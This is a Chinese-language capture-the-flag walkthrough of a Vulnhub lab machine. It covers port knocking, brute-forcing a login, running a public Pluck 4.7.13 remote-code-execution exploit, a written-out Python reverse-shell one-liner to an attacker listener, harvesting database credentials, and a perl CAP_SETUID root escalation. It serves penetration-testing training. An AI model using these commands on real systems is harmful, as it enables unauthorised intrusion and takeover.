?由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
?如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
靶机ip获取方式如下图
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,扫出来了22 80/http
但是22
端口被防火墙过滤了,根以往的经验很有可能是端口敲门
我们先看看80/http
的页面,如下图
在页面里面没有发现什么东西,我们使用gobuster
工具对该网站的目录爆破一下
gobuster dir -u http://192.168.2.5/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x jpg,php,txt,html
如下,扫描出来的结果还是比较多,就不全部写出来了
我们主要看到login.php
页面/planet
目录
我访问一下login.php
页面,发现要密码,我们就先放着
我们再看看/planet
目录,里面有一个文件夹travel
,我们继续点开
我们点开之后就可以看到如下页面,我们按f12
,打开源码审查,全部展开就可以看到该页面有一个提示信息
给了我们一个连接https://g.co/kgs/F9Lb6b
我们直接使用浏览器访问这个网址,就可以看到如下信息,我们点击显示的第一个信息
如下,点开之后我们可以看到如下图标注的消息是14 29 43(43是四舍五入的,因为测试42没打开)
很有可能就是我们需要敲的端口(有点离谱……)
那么我就自己写一个python脚本用于端口敲门,脚本名为knock.py
代码如下
import socket
def send_syn_request(host, port):
try:
# 创建 TCP socket 对象
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 发送 SYN 请求
s.settimeout(0.1) # 设置连接超时时间为0.1秒
s.connect((host, port))
s.close()
except (socket.timeout, socket.error):
pass
print(f"已发送 SYN 请求到端口 {port}")
# 指定主机和端口列表
host = "192.168.2.5"
#需要敲的端口列表
ports = [14, 29, 43]
# 发送 SYN 请求到每个端口
for port in ports:
send_syn_request(host, port)
如下,使用命令python kncok.py
运行一下敲门脚本
当我们运行完脚本之后再次扫描靶机的22
端口就可以看到该端口的状态就为open
了
我们先用ssh
连接一下试试,虽然没有密码,但是如下图,回显信息给了我们一个链接
https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst
给了我们一个字典,大胆猜测一下,这个可能就是前面的那个登录页面的密码
我们使用Burpsuite
抓一个这个页面的登录包,是一个POST
请求
我们ctrl + i
发送到攻击模块,并且把密码区域添加为变量
我把刚刚github上面的密码添加进来,然后点击Start attack
按钮开始爆破
如下,有一个包的长度是1464,那密码就是hacktheplanet
没错了
如下,我们已经成功登录,并且报了该网站的具体版本号pluck 4.7.13
我们直接在kali里面搜索这个框架对应的版本的exp
,如下可以看到有一个远程命令执行
的pythonexp
我们直接用cp
命令拷贝一份下来
打开看一下怎么用,如下图可以看到该exp
需要四个参数分别是靶机的ip 端口 密码 路径
我们按照要求执行以下该exppython 49909.py 192.168.2.5 80 hacktheplanet /
如下图,返回结果告诉我们攻击成功,并且给了我们一个shell
的URL
我们访问该URL就可以看到一个类似终端的命令执行页面
由于这个用的不是很舒服,我们需要把这个shell反弹到kali上
我们在kali上用nc -lvvp 1234
监听一下
然后使用利用python挂一下反弹shell,命令如下
#需要把ip替换为自己实际的靶机ip
export RHOST="192.168.2.4";export RPORT=1234;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
如下我们的nc
就监听到靶机弹过来的shell了
我们到处翻一下,在/var
目录下发现了/backups
目录,并且在该目录里面有一个mysql.bak
的数据库备份文件
我们使用cat
命令看一下这个数据库备份文件里面的内容
发现了一个数据库用户alfauser
和一个密码passw0rd
那么我们就用这个账户密码登陆一下这个靶机的mysql
命令为mysql -u alfauser -ppassw0rd
通过如下的操作,我们获取到了一个新的用户proxima
和密码alfacentauri123
我们使用exit
命令退出数据库,并且使用su
命令通过我们上一步获取到账户密码登录到这个新的用户
我们使用find / -perm -u=s 2>/dev/null
命令找一下具有suid
权限的可执行文件
如下图,然而并没有发现什么可利用的可执行程序
我们使用getcap -r / 2>/dev/null
命令找一下有没有具有特殊能力的文件
如下找到了一个perl
程序被赋予了CAP_SETUID
能力
我们到当前用户的家目录
发下有一个proximaCentauriA
目录,我们进入到该目录
通过执行./perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
来进行Capabilities
提权
我们进入到/root
目录,拿到最终的flag文件root.txt
至此我们的渗透完成